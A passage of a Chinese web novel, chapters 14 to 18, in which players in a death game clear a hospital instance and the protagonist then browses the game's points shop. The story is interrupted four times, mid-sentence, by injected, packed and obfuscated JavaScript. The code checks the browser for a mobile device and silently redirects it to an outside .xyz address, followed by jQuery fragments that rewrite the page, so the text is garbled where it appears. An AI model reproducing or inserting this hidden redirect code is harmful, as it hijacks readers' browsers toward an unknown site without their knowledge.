好学者眼珠子僵硬地在眼眶里转了一圈,直接对着守护剑开了一枪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686106|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但显然守护剑要比那颗子弹更为坚硬,好学者被枪的后座力震得往后退了几步。
但她一刻也没停缓,趁着姜渺切换姿势的空隙,对着姜渺的心口又开一枪。
可惜姜渺比她反应还要快,在空中将那颗子弹切割成了两半,崩裂开的子弹失去了方向,无任何规律可言地疾落在地上。
在背后操纵着好学者的魅惑者见短时间内没办法淘汰掉姜渺,丝毫不留恋地断开她和好学者之间的联系。
失去操纵的好学者瘫倒在地。
姜渺收起剑,扶她靠坐在地上,回头对童柠说:“魅惑者走了,但好学者醒还得一会儿。”
童柠却惊呼道:“渺渺,小心!”
姜渺表情没什么变化,似乎早就料到会有这么一出,背对着好学者,召唤出守护剑,干脆利落地将好学者手里的裁决枪打落。
“这下应该是真的断掉她和好学者之间的联系了。”童柠仔细看过好学者的状态后撑着膝盖,大喘着气,庆幸着姜渺的劫后余生。
姜渺却没松懈,她抬头看向天花板,似乎要透过重重阻碍直接看向魅惑者所负责的区域:“但魅惑者可能要危险了。”
童柠满不在乎地摆摆手:“对立阵营,她危险了就危险吧。”
姜渺还是拧着眉。
她在乎。
她没来由地在乎。
童柠看不惯她为对立阵营的人也忧心,挽着她的手臂晃了晃:“让鲁奇照顾好学者,我们去收集病人的签名怎么样?”
姜渺深知她现在上去也改变不了魅惑者的结局了,轻点了一下头,满脸愁容地跟着童柠去了一楼。
与此同时,六楼。
魅惑者满脸怒容地从魅惑状态脱离出来,去找守在门口的单云轲算账。
童柠身边的那个女人根本不是什么女巫,她明明是中立守护者!
“单云轲你……!”
魅惑者只喊了一个名字,就被单云轲从不知道哪儿搜罗来的趁手工具给敲晕了。
单云轲面无表情地看着昏睡过去的魅惑者,良久之后叹了一口气,轻声地自言自语:“谁教你看到了我现在不想告诉任何人的秘密呢?中立守护者是张好牌,但我觉得在姜渺手里比在其余任何一个玩家手里都更能发挥出它的作用。”
“就比如现在,如果她在的话,她是不会让我杀掉你的。”单云轲笑着,“可惜她不在。”
他拖着魅惑者,将她带到七楼仓库前,再用他在搜寻线索时顺的铁丝撬开仓库的门,把魅惑者放在其中一张和病人相同编号的病床前。
“再见了,祝你能遇到心地善良的陈冠玉。”
单云轲站在仓库门口停顿了几秒钟,留了这么一句祝福,随即没有丝毫犹豫地关上仓库的门,将魅惑者留在无尽的黑暗中。
他干这种事不是第一次了,但因着这回副本中遇见了姜渺倒是难得的升起一些第一次杀人时才有的淡淡负罪感。
“好学者现在还晕着,姜渺不可能带着她行动,她只可能和那个NPC在一起。”单云轲分析着,脸上露出一个残忍的笑容。
“那么,这将是最后一个淘汰好学者的机会了。”
15. 第十五章
三楼,好学者缓缓转醒。
她看着眼前陌生的地方,疑惑地揉了揉自己隐隐作痛的头,自言自语道:“这是哪儿?”
“这是三楼,我负责的区域。你昨晚被魅惑者魅惑了,刚才想要杀我,被同阵营的人阻止了。”在一旁守着的鲁奇见她醒了,急忙上前简单地把刚才的情况说了一下。
好学者在鲁奇出声的时候才发现这个房间里并不是只有她一个人,她谨慎地看着鲁奇,召唤出裁决枪。
鲁奇有点怵那东西,双手作投降状,其中一只手晃着童柠临走前交给他用来自证的道具卡:“我没必要骗你,我只是个NPC。你学习了裁决者的技能,杀我易如反掌。”
好学者这才信了一半,问:“阻止我救下你的人是什么身份?”
在她的认知里,正义阵营是不存在强有力到可以抵挡裁决者子弹的身份牌的。
鲁奇把姜渺交待给他的说辞直接复述给好学者:“是中立阵营的女巫,她对我使用了解药。”
好学者狐疑地问:“女巫?解药?女巫一局只能选择制作一瓶毒药或者一瓶解药。如你所言,你只是个NPC,她为什么会愿意放弃更有利的毒药,选择制作解药来救你?”
鲁奇不好意思地挠了挠头:“可能是因为我收集了六个医生的名字?”
好学者这下终于信了他的话。
在游戏里,某个玩家做任务的能力很强,即使身份牌不强硬,也是会被重视的。
“那女巫呢?去收集剩下的签名了吗?”好学者问。
鲁奇点头。
好学者皱眉:“女巫现在已经用过自己的技能,就这样去收集签名是不是过于危险了?应该等我醒来的。”
"言灵者跟着她,不会出意外的。"鲁奇迟疑了几秒钟,说。
虽然他很想把姜渺的身份牌是“唯一的希望”这件事告诉好学者,但无论是姜渺还是童柠都三申五令让他保密这件事,不让他告诉任何人,还明确告诉他即使是同阵营的人也不行。
鲁奇并不清楚隐瞒姜渺身份牌的必要,只是姜渺和童柠既然这么吩咐,那他就这么照做吧。
好学者还是担心,她无意识地玩弄着手里的枪:“她们去哪儿了你知道吗?”
鲁奇摇摇头:“她们要你好好休养,收集签名的任务对她们来说没太大难度。”
好学者不赞同姜渺童柠的安排,正要再说些什么,门外突然响起一阵急促的敲门声。
“请问这里有人吗?如果方便的话,可以给我开个门吗?”
好学者提着枪,小心翼翼地靠近门,和门外的人交流:“有人。”
门外的人听到好学者的声音长舒一口气,没等好学者询问就自报了家门:“我今天天亮后用掉了我的转阵营机会。我原本是邪恶阵营的NPC,但邪恶阵营的人全听从那个拿着摄梦身份的人,完全不管他提供的线索到底有没有偏差。他们太蠢、太盲目了,我有点受不了他们。然后我观察过两边的任务进度,发现正义阵营这边的任务进度远远比邪恶阵营的任务进度快很多,就选择了转阵营。”
好学者抵着门问:“邪恶阵营的任务进度如何?”
“他们目前收集了五个医生的签名。”门外的人答。
好学者没察觉出他话中的漏洞,但这是这么一个人突然出现在门外就已经是件很可疑的事情了。于是,她回头和鲁奇对视了一眼,询问他的意见。
鲁奇在听到门外有人敲门时也是一脸懵,这属于姜渺安排之外的事情了,但他很快就想起姜渺离开前说的那句当时他感觉有些莫名其妙的话。
“如果有小狗来找你的话,不要给他开门,不然他挠伤人的话,我会很难办的。”
姜渺是以一种半调笑的语气说这句话的,所以鲁奇当时只是略微震惊了一下姜渺竟然还会讲玩笑话舒缓气氛就把这句话略过去了。
现在想来,姜渺应该是早就料到会有不速之客,并且门外这人姜渺应该认识,所以才会提早嘱咐他这句话,不过好学者手里有裁决枪,难道不是让好学者直接把这个隐患解决掉更让人放心吗?
鲁奇不明白姜渺的用意,但姜渺没有要杀门外那人的意思,他也不好自作主张。
姜渺能让他生,就能让他死,改变姜渺的决策对他并没有什么好处。
于是鲁奇摇了摇头,朝她做了个口型:“不必理会。”
好学者虽然也有杀掉门外之人的意思,但门外之人是不是邪恶阵营强有力的身份牌还有待商榷,她不敢轻举妄动,见负责这片区域的鲁奇选择避之不理,她也就装作没听见的样子,重新回到她之前休息的地方闭目休息。
徒留单云轲一脸郁闷地在门外编造各种故事,却没人回应。
他靠着门,滑坐在地上,怀疑这一切是姜渺为他编造好的陷阱。
不然为什么姜渺童柠两人一直一起行动收集医生病人的签名,却在魅惑者控制好学者杀NPC时恰巧出现?不然为什么他向来天衣无缝的骗术会被好学者和那个NPC拒之门外?
要知道就算他们怀疑他不是好人,好学者也应该依仗手里的裁决枪打开门试探他一番,彻底确定他非正义阵营后再杀掉他。
但里面那两人完全没有这个想法,只是放置他在门外,不理会他,很难说没有被高人指点过。
“高人”姜渺心有灵犀地打了个喷嚏。
笑吟吟地看着她的许木棉假惺惺地关心:“生病了?记得下次进副本前多添件衣服,积分商城这些东西还是很便宜的。”
姜渺忽视她的关心,淡淡地看着她手里不断把玩着的毒药瓶,夸赞:“很漂亮的颜色。”
许木棉对着走廊的灯看了一眼里面流动着的液体,说:“我也这么觉得,当然,你也很漂亮。如果你的身上倾倒上这些液体,那简直是这天地下最美丽的事物了。”
童柠只觉得她是在胡言乱语:“你到底在说什么乱七八糟的东西?渺渺不需要这东西来点缀。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687679|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
许木棉看都不看她,只用着能溺死人的温柔目光专注地看姜渺,执着地想从她口中得到一个答案:“你难道不觉得死去的事物才最值得称赞吗?”
“我不觉得。”姜渺微微摇头,“我更欣赏富有活力的一切事物。”
许木棉遗憾地说:“我和你的看法正好相反。富有活力的事物太难控制了,他们拥有着自己的思维和想法,要我说还是死去的事物更好,轻轻松松就能为我所掌控。”
“是你太弱了。”姜渺毫不留情地揭穿这个事实,“因为你弱,所以你讨厌你喜欢的事物是富有活力的。因为你弱,你只敢通过隐喻的方式对我下战书,我本人现在就站在你面前,你却对我没有任何杀意。”
许木棉被说中了心思,恹恹地说:“是啊,我很弱,我现在打不过你,所以我允许你再活几个副本。等我们再次相遇时,就是我取你命的时候。”
她说这话的时候眼中闪烁着向往的光芒。
姜渺不置可否,她关心的一向不是这些,而且她并不认为许木棉几个副本之后就能拥有杀死她的能力,于是她跳过这个话题,询问她最关心的事情:“那么,也就是说,你信奉实力至上?”
许木棉微微抬了抬下巴:“当然,这个游戏里的玩家没有一个不信奉实力至上的,你以为你身边的那个,她为什么愿意跟着你?”
童柠和她错开目光。
许木棉唇角勾起一个嘲讽的笑:“虽然我一直待在我负责的区域,但我对七层楼的情况都了如指掌,就比如说,你放任一个对立阵营的人留在你身边,还纵容他杀死了一个人。”
姜渺早就和童柠有说过单云轲会杀死魅惑者,她替姜渺反驳:“对立阵营的人而已,看他们自相残杀不好吗?”
许木棉直勾勾地看着姜渺:“可我认为你不是这样的人,你不会允许任何一个生命在你眼前逝去,即使她是对立阵营的人,即使她知道了你的秘密,不是吗?”
姜渺坦荡点头:“我找你,正是为了这事而来。”
听出姜渺话中意思的许木棉变了脸色,收起手中的毒药瓶,背对着姜渺,赶人:“我不会答应你把我手中的毒药换成解药的。任何一个女巫都不会这么做,从《神明已闭眼》登陆蓝星后就没有这样的惯例,我更不可能为了一个我想要杀死的人做第一人。”
“即使我可以教你如何让自己喜爱的事物既能保持活性,又能不挣脱你的掌控?”姜渺问。
许木棉脸上显现出挣扎的神色:“这样的方法不存在,至少我做不到。就算你把方法告诉我,我也做不到。”
“你没试过的东西,就不要这么笃定。”姜渺心中默数着,计算许木棉会在多长时间内完全接受她的提议。
一,二,三,……,四十七——
不到一分钟。
“我还是不信你。”许木棉转过身,“但我想冒险一把。”
她手心朝上,一瓶红色的、象征着活力的液体出现在那里。
16. 第十六章
“喏,给你。”许木棉轻巧地把解药瓶扔到姜渺的怀里,“我不想离开这里,你们自行便利。”
姜渺晃了晃解药瓶,露出了一个浅浅的笑容:“马上就要结束副本了,你记得选择阵营。”
许木棉哪里会忘不选择阵营的中立会直接被判定失败,她不耐地摆了摆手,在走进休息室前停住了:“这确实是我见过的,死亡率最低的一个副本。你很厉害,在副本中挣扎的玩家最喜欢的就是你这样博爱的人。可是,你真的救不了所有人。”
她眼底含着浓重的忧伤,不过她很快就又振作了起来:“但救大多数人也是救,不论如何,你现在所做的一切都是令人称赞的。我只是说,万一有一天你没能救下哪一个人,不要像我一样颓废,对什么都失去希望,那样蓝星才是真的没救了。”
童柠听许木棉自诩自己是英雄,还是姜渺的前人,忍不住腹诽了几句。
姜渺则是眼眸轻颤了一下,神情坚定地回答她:“我会救下所有人的。”
许木棉懒得和姜渺争辩。
如果真的能救下所有人,为什么这个副本正义阵营死了两个人?
但她也不愿现在拆穿姜渺。
毕竟这么久了,玩家们中终于又出了一个想要救所有人脱离苦海的人,这是件很不容易的事情,她也想成为被救的一员,她绝不能现在就击打姜渺的自信心。
“下次见面时再对我说这些话吧。”许木棉朝姜渺眨了眨眼,故作轻松地说,“我到时候会检验你的成果的。”
三楼以下的病人签名全部收集完毕,姜渺终于有时间返回去解决单云轲的事情了。
单云轲还可怜巴巴地蜷缩在休息室门口,但他已经放弃说服好学者和鲁奇出来了,因为这两人完全油盐不进。
“都怪姜渺……”他嘟嘟囔囔地埋怨。
姜渺弯腰:“怪谁?”
单云轲被吓一跳,猛地站起身,他想起自己在好学者和姜渺面前完全不同的说辞,当即就要跑,却被姜渺按住肩膀,好心情地喊他:“我猜你和他们说的是你是邪恶阵营的NPC,然后今天早上使用了转阵营的机会。我可以帮你把假变成真。”
单云轲抗拒地推开姜渺的手,但姜渺的话语已经飘到了他的耳边:“伪善者?”
单云轲的手环震动一下,他沮丧地抱着头。
不用看也知道是系统给他发来了通知他由伪善者变成NPC的邮件。
好学者听见外面的动静,将门打开一条细缝。
鲁奇在她身后直接把门拉开,和姜渺童柠打招呼:“你们回来了。”
童柠点点头:“嗯,我们把三楼以下的病人签名全收集到手了。”
姜渺拎着焉焉的单云轲进屋。
好学者犹疑地想要阻止。
姜渺回头给了她一个安定的浅笑,“抱歉,我认识他,他确实是从邪恶阵营转过来的NPC。”
好学者不喜欢任何一个选择转阵营的NPC,虽然说玩家们都只顾自己的利益,做出这样的事情无可厚非,但这样的人就不要试图融入转后的阵营了吧?总会让人心有膈应。
不过她看在是姜渺拿解药救了她的份上,还是没再说什么,默许了单云轲的加入。
姜渺一边和好学者同步着目前的任务进度,一边用指尖在单云轲紧绷的背上不规则地敲动着。
单云轲好几次都想把姜渺的手给扔下去,但他也清楚好学者是看在姜渺的面上才允许他进来的。如果他做一些不合适的行为,好学者必定会以此为由把他扔出去。
他只能忍着,任由姜渺以把他耍得团团转为乐。
单云轲憋屈地想。
姜渺慵懒地斜他一眼,在他的容忍范围内不断试探,探索更多的乐趣。
好学者自然看见了两人之间的猫腻,她对在副本里谈情说爱这件事十分不齿。说不准这个装可怜的男人其实根本没有转阵营,只是在骗姜渺这个恋爱脑,于是她轻咳一声,吸引过姜渺的注意力:“所以现在是只剩六楼的医生签名和三楼以上的病人签名没收集了?你们的安排是什么?我负责的区域内有一位病人,我试探过她的实力,我能打过。病人们的实力应该都差不多,我可以帮忙收集病人的签名。”
姜渺没说话,手却是收回来了。
童柠见状,回答好学者:“那太好了,如果你能收集病人签名的话,不然你就从四楼开始往上收集?我已经一次言灵次数也没有了,渺渺技能也用过了,我们从六楼开始先彻底把医生的签名全部收集完毕,病人签名我们尽力。”
好学者沉思了一会儿,答应了:“马上天黑了,还是等天黑后再行动吧。”
童柠和姜渺的计划就是如此,闻言应下。
登记表没交还给陈冠玉,医生病人的身份还没换过来。天黑时走廊里依旧是一阵匆匆的脚步声和嘈杂的低语声。
等外面完全归于安静后,好学者和童柠对视了一眼,拎上鲁奇和她们分头行动。
童柠确认好学者已经和他们拉开一定距离后小声和姜渺说悄悄话:“那我们现在去仓库见陈冠玉?”
单云轲一听就知道在他离开的时候这两人密谋了些什么事情,竖起耳朵想要听,却被姜渺轻轻捏了一下耳垂:“不该偷听的事情不要偷听,明天记得转阵营,如果你想要获胜阵营的积分的话。”
单云轲恹恹地应了一声。
他总不可能和积分过不去。
姜渺见他很听话,转头朝童柠点了点头,面色略有些沉重地说:“但我觉得这个支线任务我们无法完成。”
童柠也有这样的预感,可不能两个人都这么丧,于是她强装乐观:“这种事情说不准的,我们之前还认为支线任务根本不存在呢。”
姜渺摇摇头。
这两个性质怎么能一样呢?她已经看见了游戏开发者设置支线任务背后的意图。
单云轲则因为没参与两人之前的讨论,此刻听得有些云里雾里的,听到最后只知道支线任务完不成了。
几人各怀心思地走到七楼仓库门口。
仓库门大开着,陈冠玉似乎早就料到他们还回来,听到脚步声头也没回地指了指角落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700070|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“这应该是你们的人吧?如果不想我把她也作为实验材料的话,请把她带出去。”
仓库角落里,一副动作狰狞的白骨被安置在那里。
姜渺沉默地从怀中掏出红色解药瓶,拧开瓶盖,撒遍她的全身。
白骨上瞬间生出一朵朵又诡异又漂亮的肉苞,慢慢地将白骨裹狭。
单云轲和童柠毫无意外地被眼前这一幕冲击到了神经,两人齐齐倒吸了一口气。
但接下来姜渺冷漠的声音才更把两人打入恐惧的深渊:“你们两个,随便一个人把她送到她负责的区域里的休息室。”
“我不去。”童柠打了个冷颤。
“你为什么要救她?”单云轲不可置信地歇斯底里。
“救人还需要理由吗?想救就救了。”姜渺站起身,看向单云轲,“童柠不想去,那你去吧。毕竟人是你杀的。”
陈冠玉很有兴致地停下手中的动作观看这场闹剧,插话:“应该是这些东西把那位小姐杀死的,而不是那位先生,可不要冤枉错了人。”
没人理他。
姜渺目光仍落在单云轲身上,催促他的动作。
童柠则早已背过身,胡思乱想些事情,试图把刚才看到的一切从她的脑子里赶出去。
单云轲也想拒绝,可魅惑者在这里醒过来也很麻烦,他只能咬着牙把这份重任接下。
早知道就不杀魅惑者了,姜渺的身份牌信息泄露和他有什么关系,他俩又不是同一个阵营的,而且姜渺自己都不在意身份牌信息泄露,执意要救这个人。他为什么要多管闲事?
单云轲越想越悔恨,十分想穿越回过去,给当时不知道脑子在想什么的自己来一巴掌。
姜渺看着单云轲一脸嫌弃地把魅惑者正复生的白骨抬走后,转身面向陈冠玉:“很抱歉,我们已经清理了。”
陈冠玉比起昨晚开朗了许多,他手上各种装着血液的试管交换不停,语气也很轻快:“今晚找我有什么事吗?”
姜渺看着他手下被控制住,眼珠子还在飞快地转动的类人生物,问:“你已经决定要帮助他了吗?”
陈冠玉手头的动作停顿了一下:“不然呢?我不想死。没人想死。既然他抛不下这家医院,想成为英雄,那我也只能加入他的研究,延缓我们死亡的到来。”
“即使你们还是会死。”姜渺说。
陈冠玉点头:“即使我们还是会死。不过说真的,如果我的恶作剧没有被你们发现,他察觉到研究进度慢了下来,可能会选择带着医生病人们离开这里呢。”
他脸上多了一抹淡淡的悲伤。
姜渺垂眸。
“我只是猜测,你无需为此愧疚,事情也可能不会像我所想的这么发展。”陈冠玉擦了擦泛泪的眼角,问,“你们还是可以离开这里的吧?如果我记得没错的话,你们的实习期马上就要结束了。”
姜渺点了点头。
陈冠玉语气又变得轻快:“那很好,能多活几个是几个啊。”
一旁的童柠恍觉他眼中的求生欲望一点都不比玩家们的少。
17. 第十七章
陈冠玉说完那句话后,七楼仓库一时陷入长久的沉寂,直到单云轲回来才打破这份沉寂。
丝毫不知道发生了什么的他凑到姜渺身边,小声问:“怎么了?完成支线任务的条件很棘手吗?”
姜渺看着他无忧无虑的神色,推开他毛茸茸的头:“当然棘手。”
还是不要告诉他好了。
姜渺不信在她之前没人触发过支线任务,就起码许木棉是绝对触发过的,不然她身上不该有那种看着都让人感觉绝望的气息。
游戏的开发者太过恶劣,他高高在上,玩弄着所有的玩家,看着玩家们中最有智慧才干的那批人自信张扬地宣告着自己掌握了支线任务的线索,却没办法完成支线任务,只能从npc口中听得这个副本最终的绝望走向。
作为麻木任务机器的玩家们虽然不会共情npc,但他们看着那些用最寡淡的言语叙述着即将发生的一切,尝试掩盖过结局惨烈的npc很难不去联想困就在游戏中的自己。
游戏开发者几乎是以一种嘲弄的姿态告诉玩家们不必再继续做那些无谓的挣扎,他们只会像副本里的npc一样眼睁睁地看着自己走向末路。
玩家们第一次发现这件事的时候可能是不信,可能是拒绝接受这个事实,可能是坚信着自己是那个打破这一切的人,但长久了呢?
反复听着npc曾经抗争过、最后却释然的言语,和看着自己账户上和脱离游戏所需积分相差甚远的数字,他们逐渐被磨灭了锐气。
英雄不会是他们,他们连自己都无法拯救,更别说拯救蓝星了。
他们开始消沉,但彼此却心照不宣地选择不把这个信息透露出去。
他们已经成为不了英雄了,可其他没被游戏开发者磨去斗智的玩家应该还是可以期待的吧?
他们故意忽略一群连支线任务都无法触发的人能有多大才能的事情,祈祷能真正拯救他们的英雄出现。
他们的希望微渺却热烈,试图燎动整片原野,然而杂草依旧茂盛,他们所留下的只有堪堪包裹草尖的黑色。
姜渺看着沉浸在自己世界中的童柠,深知她也会成为其中一员。
“到底发生了什么?”单云轲感受着空气中流转着的微妙气氛,收起平日插科打诨的姿态,认真地问。
“问什么问?”没等姜渺回答,童柠就吸了吸鼻子,一拳锤在他的左肩,“你只需要知道支线任务完不成就可以了,其他的你别管。我不会告诉你,你也别去为难渺渺。”
童柠打的时候是一点力都没收的,单云轲捂着左肩吃痛地退后几步,深感委屈:“不说就不说呗,打我干嘛?”
姜渺看着这一幕笑出了声,给他揉了揉肩,说:“走吧,去收集剩下的医生病人签名,不然要被好学者知道咱们在偷懒了。我会留一个到明天的,你明天天亮时记得转阵营。”
单云轲得到了姜渺的安抚,脸色好了些,答:“知道了。”
童柠在后面暗暗骂他:真是好命,正好碰上博爱的姜渺,正好错过陈冠玉说话,这小子之前运气差抽不到好的身份牌是因为运气全用到这上面了吧?
姜渺如她所说的,从六楼开始收集医生病人的签名,快要天亮时正好准备去收集五楼的第一位病人签名,和好学者在五楼走廊相遇。
好学者意外地看着几人:“你们动作还挺快的,我这边四楼的和五楼另一侧的病人签名都已经收集过了。”
“毕竟我们要比你们多一个人,而且医生签名很好收集的。你的速度才是真的快,一晚上竟然收集了三位病人的签名。”童柠说。
好学者赞许地看了眼鲁奇:“他帮忙挺多的,医生病人们被他引开后,我拿病历就轻松多了。”
鲁奇不好意思地挠了挠头。
商业互吹后,童柠提议道:“那我们找个地方等天亮吧。”
好学者点了点头。
几人站在五楼到六楼的楼梯台阶上聊天。
“这次的任务做的是真的快啊。”好学者感慨,“我们这好像也就不到五个天亮。以往我在其他的副本里差不多都要用上一周以上的时间。多亏了童柠你发现了病人的弱点在病历上写着,不然这次的任务进度不可能这么快。”
童柠心虚地笑笑:“我也只是碰巧,碰巧。”
好学者以为她是自谦,放松地靠在墙上,调笑地说:“那以后这种碰巧还请多来点。”
童柠哈哈一笑,略过这个话题,问她:“你碰见邪恶阵营的人没?”
好学者想了想,回答她:“有碰到过一次,在四楼,一共三个人,他们那时是往楼下去的,应该是要去收集楼下的医生病人签名,但他们看见我之后就变了脸色,很快消失在楼梯转角处。想来应该是手里没了技能和道具,不想和我正面对上。”
童柠若有所思地点头:“那他们收集签名的进度应该是没有我们快的。”
之后话题就不再聊副本了,童柠开始滔滔不绝地和好学者聊《神明已闭眼》登陆蓝星以前的事情。
她早在单云轲和魅惑者聊的时候就憋得不行了,当时差点一个没忍住冲出去点头附和他们说“原来你们都还记得曾经发生过这件事啊”。
姜渺依旧只默默听着。
单云轲看着姜渺毫无动容的神色,溜到她身边,问:“你之前在蓝星哪里住着?”
姜渺瞥他一眼,知道他已经开始怀疑她不是蓝星人了。
她回忆了一下单云轲和魅惑者之前聊天时提到的地方,随便说了一个地名。
“你就在我家附近住着?”单云轲更怀疑了。
姜渺眨了眨眼,点头。
单云轲不想在人前揭穿她,咬着牙压着声说:“那等出了游戏,我们聚一聚?”
姜渺停顿了一下,笑着说:“好啊。”
单云轲看着她浅淡的笑容,只觉得这人比他还会说瞎话,但时刻关注着外面情况的童柠听到外面停了脚步声,喊他们:“该去收集最后一个病人签名了,收集完咱们就可以收工了!”
单云轲失了继续试探姜渺的机会,只能对着姜渺的背影狠狠地低骂一声“骗子”。
有好学者,姜渺难得可以偷懒。
好学者
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726986|156919||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要是堵塞了思路,她就推童柠一把,让童柠去告诉好学者线索。
一场与病人的智斗下来,好学者和童柠结了深厚的革命友谊,约好三个副本后见。
姜渺看着登记表上整齐排列的名字,露出笑容,说:“我去找陈冠玉。”
好学者拧着眉想让童柠去。
童柠拦住她,和她咬耳朵:“之前就是她去陈冠玉那里拿的登记表,现在由她去还最合适不过了。”
好学者疑惑地问:“为什么之前是她去拿的登记表?”
童柠吞吞吐吐:“说来话长,总之是她去拿的。”
单云轲眼看着童柠越说好学者越怀疑,没忍住装出无赖的样子,抢在童柠前开口:“当时我在,是我推姜渺去接登记表的。”
闻言,好学者看单云轲的目光更不对劲了。
这种事情一般都伴随着风险,说得难听点,单云轲这个行为就是送姜渺去死,也就是姜渺命大才活了下来。她还以为单云轲没在姜渺面前露出过真面目呢。这都已经害过她了,姜渺怎么还能这么恋爱脑?
童柠显然没想到单云轲会不惜自我抹黑也要护住姜渺的伪装,结合这几天来他的表现,她以一种诡异的目光看向单云轲。
这家伙不会是喜欢上姜渺了吧?这么恋爱脑,不分阵营地护着姜渺。
这样之前他为什么要杀魅惑者也有了答案,他这是为了心上人勇敢对同阵营队友出手啊!
单云轲这边一看就知道他在好学者和童柠这边的风评算是都完了,只不过他以为的是好学者会认为他是骗子,而童柠会认为他是傻子,他怎么也不会想到他在两个人心目中的印象其实一个是渣男,一个是恋爱脑。
至于另一个处于八卦风波的人此刻正站在陈冠玉办公桌前和陈冠玉对视。
“你的动作挺快的。”陈冠玉交叉双手,温和地说。
姜渺没说话,把登记表扭正,递给他。
“你应该见到他了吧?”陈冠玉接过放在一旁,说,“我还以为你会和之前那些发现我在做这些研究的医生们一样和我争吵,劝说我离开这里,前往安全区。”
姜渺摇了摇头:“你不会听我的。”
陈冠玉肯定了她的话:“我不会听你的,我是一个很自私的人,为了我的英雄事业,我不会告诉那些不知道真相的人真相,但我也不会坚持知道真相的你必须和我站在同一阵营。你应该把这件事传遍你们实习护士之间了吧?”
姜渺沉默。
陈冠玉笑了笑:“我不会怪你,你们会和当初那些反对我的医生病人们一样,被我送到安全区。”
姜渺抬眼看他。
“再见。”陈冠玉说。
一阵白光闪过,姜渺想了想,还是在消失前一秒给他留了话:“其实,你在拥有拯救世界的想法时,就已经是一个英雄了。”
【恭喜玩家通关!“颠倒医院”副本已关闭,本局获胜阵营为正义阵营。根据系统综合评估后,获胜阵营的每位成员将获得67点积分。系统已将积分发至获胜阵营每位成员的邮箱中,请注意查收。】
18. 第十八章
姜渺再次睁眼时,她已经到了一方八面都是金属、空空如也的小单间中。
手环还在不断震动,姜渺猜测可能是科普这个小单间的邮件,于是她暂时放弃探究这个小单间,低头调出电子屏。
姜渺未读的几封邮件上闪着跳动的红色感叹号,提醒着她这几封邮件的重要性。
【初始房间:
每位玩家通过第一局游戏后,都会获得一间“初始房间”。“初始房间”里没有配置任何家具,但这却是一个区别游戏大厅,方便玩家安静休息的好去处。当然,玩家如果不满意“初始房间”,也可以根据自己的积分酌情在积分商城内购买可以提供舒适值的家具和升级房间。
另外,房间不只是栖息地,你也可以邀请别的玩家到你的房间,但初始房间只限两人同在。如果想邀请更多的玩家进入你的玩家,那就请努力赚取积分升级房间吧!】
诱导玩家花费积分的。
姜渺毫不留情地评价。
【积分商城:
恭喜玩家解锁积分商城!在积分商城里,玩家可以购买一切你想象得到以及你想象不到的东西,但请注意,道具卡只能在游戏内,当自己身份为NPC购买。为了维护游戏平衡,请玩家谅解!】
积分商城?
姜渺想起“颠倒医院”副本里其他几个玩家曾经提到的。
这个还算有用。
她没继续往下阅读邮件,而是关闭邮箱,去点击电子屏上新增的积分商城。
如邮件里所言,积分商城里的东西千奇百怪,每一样物品都被明码标价。
姜渺扫过各种物品下面的标价,发现了游戏开发商竟然还是一个奸商。
玩家们需求度高的日常品,就比如“简陋但勉强舒适的床”、“急救箱”等等,全是高价出售,而实用价值不高,更流于美观等用途的物品价格明显就要比前者低很多,并且这些低价出售的物品在售出价格后还有一个被划掉的比前面高许多的原价,诱导玩家们产生“有促销多入手”的想法。
姜渺是绝对不会上这种当的,她心底毫无波动地继续浏览着积分商城,在看到图上标着“已售空”的《装柔弱一百式》时,才不可避免地露出惊讶的神色:“这东西不应该属于低价出售的分类里吗?为什么不仅价格很高,还是已售空状态?”
她盯着那个粉嫩的封面看了许久也没想明白,只能作罢,把这个小插曲掀过。
姜渺在上个副本只结了67点积分,积分商城里真正有用的东西她都买不起。眼馋地把她想要的东西都加入购物车后,她关掉了积分商城,去继续阅读未读邮件。
